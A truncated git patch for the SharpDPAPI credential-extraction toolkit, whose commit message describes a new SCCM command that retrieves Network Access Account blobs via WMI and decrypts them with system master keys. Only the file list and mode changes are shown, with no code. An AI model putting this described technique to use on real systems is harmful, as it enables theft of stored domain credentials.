From d3d0505c473d8bf933413f331450f75aabcd059f Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Mon, 16 May 2022 23:41:21 -0600 Subject: [PATCH 1/5] Added SCCM command which includes functionality to retrieve NAA blobs via WMI and decrypt using system master keys. --- LICENSE | 0 README.md | 0 SharpChrome/Commands/Backupkey.cs | 0 SharpChrome/Commands/Cookies.cs | 0 SharpChrome/Commands/ICommand.cs | 0 SharpChrome/Commands/Logins.cs | 0 SharpChrome/Domain/ArgumentParser.cs | 0 SharpChrome/Domain/ArgumentParserResult.cs | 0 SharpChrome/Domain/CommandCollection.cs | 0 SharpChrome/Domain/Info.cs | 0 SharpChrome/Program.cs | 0 SharpChrome/Properties/AssemblyInfo.cs | 0 SharpChrome/SQLite/SQLite.cs | 0 .../SQLite/csharp-sqlite-src/BtreeInt_h.cs | 0 .../SQLite/csharp-sqlite-src/Btree_h.cs | 0 .../SQLite/csharp-sqlite-src/Delegates.cs | 0 .../SQLite/csharp-sqlite-src/Hash_h.cs | 0 .../SQLite/csharp-sqlite-src/VdbeInt_h.cs | 0 .../SQLite/csharp-sqlite-src/Vdbe_h.cs | 0 .../SQLite/csharp-sqlite-src/_Custom.cs | 0 .../SQLite/csharp-sqlite-src/alter_c.cs | 0 .../SQLite/csharp-sqlite-src/analyze_c.cs | 0 .../SQLite/csharp-sqlite-src/attach_c.cs | 0 .../SQLite/csharp-sqlite-src/auth_c.cs | 0 .../SQLite/csharp-sqlite-src/backup_c.cs | 0 .../SQLite/csharp-sqlite-src/bitvec_c.cs | 0 .../SQLite/csharp-sqlite-src/btmutex_c.cs | 0 .../SQLite/csharp-sqlite-src/btree_c.cs | 0 .../SQLite/csharp-sqlite-src/build_c.cs | 0 .../SQLite/csharp-sqlite-src/callback_c.cs | 0 .../SQLite/csharp-sqlite-src/complete_c.cs | 0 .../SQLite/csharp-sqlite-src/crypto.cs | 0 .../SQLite/csharp-sqlite-src/ctime_c.cs | 0 .../SQLite/csharp-sqlite-src/date_c.cs | 0 .../SQLite/csharp-sqlite-src/delete_c.cs | 0 .../SQLite/csharp-sqlite-src/expr_c.cs | 0 .../SQLite/csharp-sqlite-src/fault_c.cs | 0 .../SQLite/csharp-sqlite-src/fkey_c.cs | 0 .../SQLite/csharp-sqlite-src/func_c.cs | 0 .../SQLite/csharp-sqlite-src/global_c.cs | 0 .../SQLite/csharp-sqlite-src/hash_c.cs | 0 .../SQLite/csharp-sqlite-src/hwtime_c.cs | 0 .../SQLite/csharp-sqlite-src/insert_c.cs | 0 .../SQLite/csharp-sqlite-src/journal_c.cs | 0 .../SQLite/csharp-sqlite-src/keywordhash_h.cs | 0 .../SQLite/csharp-sqlite-src/legacy_c.cs | 0 .../SQLite/csharp-sqlite-src/loadext_c.cs | 0 .../SQLite/csharp-sqlite-src/main_c.cs | 0 .../SQLite/csharp-sqlite-src/malloc_c.cs | 0 .../SQLite/csharp-sqlite-src/mem_Pool.cs | 0 .../SQLite/csharp-sqlite-src/memjournal_c.cs | 0 .../SQLite/csharp-sqlite-src/mutex_h.cs | 0 .../SQLite/csharp-sqlite-src/mutex_noop_c.cs | 0 .../SQLite/csharp-sqlite-src/notify_c.cs | 0 .../SQLite/csharp-sqlite-src/opcodes_c.cs | 0 .../SQLite/csharp-sqlite-src/opcodes_h.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/os_c.cs | 0 .../SQLite/csharp-sqlite-src/os_common_h.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/os_h.cs | 0 .../SQLite/csharp-sqlite-src/os_win_c.cs | 0 .../SQLite/csharp-sqlite-src/pager_c.cs | 0 .../SQLite/csharp-sqlite-src/pager_h.cs | 0 .../SQLite/csharp-sqlite-src/parse_c.cs | 0 .../SQLite/csharp-sqlite-src/parse_h.cs | 0 .../SQLite/csharp-sqlite-src/pcache1_c.cs | 0 .../SQLite/csharp-sqlite-src/pcache_c.cs | 0 .../SQLite/csharp-sqlite-src/pcache_h.cs | 0 .../SQLite/csharp-sqlite-src/pragma_c.cs | 0 .../SQLite/csharp-sqlite-src/prepare_c.cs | 0 .../SQLite/csharp-sqlite-src/printf_c.cs | 0 .../SQLite/csharp-sqlite-src/random_c.cs | 0 .../SQLite/csharp-sqlite-src/resolve_c.cs | 0 .../SQLite/csharp-sqlite-src/rowset_c.cs | 0 .../SQLite/csharp-sqlite-src/select_c.cs | 0 .../SQLite/csharp-sqlite-src/sqlite3_h.cs | 0 .../SQLite/csharp-sqlite-src/sqliteInt_h.cs | 0 .../SQLite/csharp-sqlite-src/sqliteLimit_h.cs | 0 .../SQLite/csharp-sqlite-src/status_c.cs | 0 .../SQLite/csharp-sqlite-src/table_c.cs | 0 .../SQLite/csharp-sqlite-src/tokenize_c.cs | 0 .../SQLite/csharp-sqlite-src/trigger_c.cs | 0 .../SQLite/csharp-sqlite-src/update_c.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs | 0 .../SQLite/csharp-sqlite-src/util_c.cs | 0 .../SQLite/csharp-sqlite-src/vacuum_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbe_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbeapi_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbeaux_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbeblob_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbemem_c.cs | 0 .../SQLite/csharp-sqlite-src/vdbetrace_c.cs | 0 .../SQLite/csharp-sqlite-src/vtab_c.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs | 0 SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs | 0 .../SQLite/csharp-sqlite-src/walker_c.cs | 0 .../SQLite/csharp-sqlite-src/where_c.cs | 0 SharpChrome/SharpChrome.csproj | 0 SharpChrome/lib/Chrome.cs | 0 SharpDPAPI/Commands/Backupkey.cs | 0 SharpDPAPI/Commands/Blob.cs | 0 SharpDPAPI/Commands/Certificate.cs | 0 SharpDPAPI/Commands/Credentials.cs | 0 SharpDPAPI/Commands/ICommand.cs | 0 SharpDPAPI/Commands/Machinecredentials.cs | 0 SharpDPAPI/Commands/Machinemasterkeys.cs | 0 SharpDPAPI/Commands/Machinetriage.cs | 0 SharpDPAPI/Commands/Machinevaults.cs | 0 SharpDPAPI/Commands/Masterkeys.cs | 0 SharpDPAPI/Commands/PS.cs | 0 SharpDPAPI/Commands/RDG.cs | 0 SharpDPAPI/Commands/SCCM.cs | 257 ++++++++++++++++++ SharpDPAPI/Commands/Triage.cs | 0 SharpDPAPI/Commands/Vaults.cs | 0 SharpDPAPI/Domain/ArgumentParser.cs | 0 SharpDPAPI/Domain/ArgumentParserResult.cs | 0 SharpDPAPI/Domain/CommandCollection.cs | 1 + SharpDPAPI/Domain/Info.cs | 0 SharpDPAPI/Domain/Version.cs | 0 SharpDPAPI/Program.cs | 0 SharpDPAPI/Properties/AssemblyInfo.cs | 0 SharpDPAPI/SharpDPAPI.csproj | 2 + SharpDPAPI/app.config | 0 SharpDPAPI/lib/Backup.cs | 0 SharpDPAPI/lib/BigInteger.cs | 0 SharpDPAPI/lib/Crypto.cs | 0 SharpDPAPI/lib/Dpapi.cs | 0 SharpDPAPI/lib/Helpers.cs | 0 SharpDPAPI/lib/Interop.cs | 0 SharpDPAPI/lib/LSADump.cs | 0 SharpDPAPI/lib/PBKDF2.cs | 0 SharpDPAPI/lib/Triage.cs | 0 SharpDPAPI/lib/Tuple.cs | 0 132 files changed, 260 insertions(+) mode change 100755 => 100644 LICENSE mode change 100755 => 100644 README.md mode change 100755 => 100644 SharpChrome/Commands/Backupkey.cs mode change 100755 => 100644 SharpChrome/Commands/Cookies.cs mode change 100755 => 100644 SharpChrome/Commands/ICommand.cs mode change 100755 => 100644 SharpChrome/Commands/Logins.cs mode change 100755 => 100644 SharpChrome/Domain/ArgumentParser.cs mode change 100755 => 100644 SharpChrome/Domain/ArgumentParserResult.cs mode change 100755 => 100644 SharpChrome/Domain/CommandCollection.cs mode change 100755 => 100644 SharpChrome/Domain/Info.cs mode change 100755 => 100644 SharpChrome/Program.cs mode change 100755 => 100644 SharpChrome/Properties/AssemblyInfo.cs mode change 100755 => 100644 SharpChrome/SQLite/SQLite.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/BtreeInt_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/Btree_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/Delegates.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/Hash_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/VdbeInt_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/Vdbe_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/_Custom.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/alter_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/analyze_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/attach_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/auth_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/backup_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/bitvec_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/btmutex_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/btree_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/build_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/callback_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/complete_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/crypto.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/ctime_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/date_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/delete_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/expr_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/fault_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/fkey_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/func_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/global_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/hash_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/hwtime_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/insert_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/journal_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/keywordhash_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/legacy_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/loadext_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/main_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/malloc_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/mem_Pool.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/memjournal_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/mutex_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/mutex_noop_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/notify_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/opcodes_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/opcodes_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/os_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/os_common_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/os_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/os_win_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/pager_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/pager_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/parse_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/parse_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/pcache1_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/pcache_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/pcache_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/pragma_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/prepare_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/printf_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/random_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/resolve_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/rowset_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/select_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/sqlite3_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/sqliteInt_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/sqliteLimit_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/status_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/table_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/tokenize_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/trigger_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/update_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/util_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vacuum_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vdbe_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vdbeapi_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vdbeaux_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vdbeblob_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vdbemem_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vdbetrace_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/vtab_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/walker_c.cs mode change 100755 => 100644 SharpChrome/SQLite/csharp-sqlite-src/where_c.cs mode change 100755 => 100644 SharpChrome/SharpChrome.csproj mode change 100755 => 100644 SharpChrome/lib/Chrome.cs mode change 100755 => 100644 SharpDPAPI/Commands/Backupkey.cs mode change 100755 => 100644 SharpDPAPI/Commands/Blob.cs mode change 100755 => 100644 SharpDPAPI/Commands/Certificate.cs mode change 100755 => 100644 SharpDPAPI/Commands/Credentials.cs mode change 100755 => 100644 SharpDPAPI/Commands/ICommand.cs mode change 100755 => 100644 SharpDPAPI/Commands/Machinecredentials.cs mode change 100755 => 100644 SharpDPAPI/Commands/Machinemasterkeys.cs mode change 100755 => 100644 SharpDPAPI/Commands/Machinetriage.cs mode change 100755 => 100644 SharpDPAPI/Commands/Machinevaults.cs mode change 100755 => 100644 SharpDPAPI/Commands/Masterkeys.cs mode change 100755 => 100644 SharpDPAPI/Commands/PS.cs mode change 100755 => 100644 SharpDPAPI/Commands/RDG.cs create mode 100644 SharpDPAPI/Commands/SCCM.cs mode change 100755 => 100644 SharpDPAPI/Commands/Triage.cs mode change 100755 => 100644 SharpDPAPI/Commands/Vaults.cs mode change 100755 => 100644 SharpDPAPI/Domain/ArgumentParser.cs mode change 100755 => 100644 SharpDPAPI/Domain/ArgumentParserResult.cs mode change 100755 => 100644 SharpDPAPI/Domain/CommandCollection.cs mode change 100755 => 100644 SharpDPAPI/Domain/Info.cs mode change 100755 => 100644 SharpDPAPI/Domain/Version.cs mode change 100755 => 100644 SharpDPAPI/Program.cs mode change 100755 => 100644 SharpDPAPI/Properties/AssemblyInfo.cs mode change 100755 => 100644 SharpDPAPI/SharpDPAPI.csproj mode change 100755 => 100644 SharpDPAPI/app.config mode change 100755 => 100644 SharpDPAPI/lib/Backup.cs mode change 100755 => 100644 SharpDPAPI/lib/BigInteger.cs mode change 100755 => 100644 SharpDPAPI/lib/Crypto.cs mode change 100755 => 100644 SharpDPAPI/lib/Dpapi.cs mode change 100755 => 100644 SharpDPAPI/lib/Helpers.cs mode change 100755 => 100644 SharpDPAPI/lib/Interop.cs mode change 100755 => 100644 SharpDPAPI/lib/LSADump.cs mode change 100755 => 100644 SharpDPAPI/lib/PBKDF2.cs mode change 100755 => 100644 SharpDPAPI/lib/Triage.cs mode change 100755 => 100644 SharpDPAPI/lib/Tuple.cs diff --git a/LICENSE b/LICENSE old mode 100755 new mode 100644 diff --git a/README.md b/README.md old mode 100755 new mode 100644 diff --git a/SharpChrome/Commands/Backupkey.cs b/SharpChrome/Commands/Backupkey.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Commands/ICommand.cs b/SharpChrome/Commands/ICommand.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Domain/ArgumentParser.cs b/SharpChrome/Domain/ArgumentParser.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Domain/ArgumentParserResult.cs b/SharpChrome/Domain/ArgumentParserResult.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Domain/CommandCollection.cs b/SharpChrome/Domain/CommandCollection.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/Properties/AssemblyInfo.cs b/SharpChrome/Properties/AssemblyInfo.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/SQLite.cs b/SharpChrome/SQLite/SQLite.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/BtreeInt_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/BtreeInt_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Btree_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/Btree_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Delegates.cs b/SharpChrome/SQLite/csharp-sqlite-src/Delegates.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Hash_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/Hash_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/VdbeInt_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/VdbeInt_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Vdbe_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/Vdbe_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/_Custom.cs b/SharpChrome/SQLite/csharp-sqlite-src/_Custom.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/alter_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/alter_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/analyze_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/analyze_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/attach_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/attach_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/auth_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/auth_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/backup_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/backup_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/bitvec_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/bitvec_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/btmutex_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/btmutex_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/btree_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/btree_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/build_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/build_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/callback_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/callback_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/complete_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/complete_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs b/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/ctime_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/ctime_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/date_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/date_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/delete_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/delete_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/expr_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/expr_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/fault_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/fault_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/fkey_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/fkey_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/func_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/func_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/global_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/global_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/hash_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/hash_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/hwtime_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/hwtime_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/insert_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/insert_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/journal_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/journal_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/keywordhash_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/keywordhash_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/legacy_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/legacy_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/loadext_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/loadext_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/main_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/main_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/malloc_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/malloc_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/mem_Pool.cs b/SharpChrome/SQLite/csharp-sqlite-src/mem_Pool.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/memjournal_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/memjournal_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/mutex_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/mutex_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/mutex_noop_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/mutex_noop_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/notify_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/notify_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/opcodes_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/opcodes_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/opcodes_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/opcodes_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_common_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_common_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_win_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_win_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pager_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pager_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pager_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/pager_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/parse_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/parse_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/parse_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/parse_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pcache1_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pcache1_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pcache_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pcache_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pcache_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/pcache_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pragma_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pragma_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/prepare_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/prepare_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/printf_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/printf_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/random_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/random_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/resolve_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/resolve_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/rowset_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/rowset_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/select_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/select_c.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/sqlite3_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/sqlite3_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/sqliteInt_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/sqliteInt_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/sqliteLimit_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/sqliteLimit_h.cs old mode 100755 new mode 100644 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/status_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/status_c.cs old mode 100755 new mode 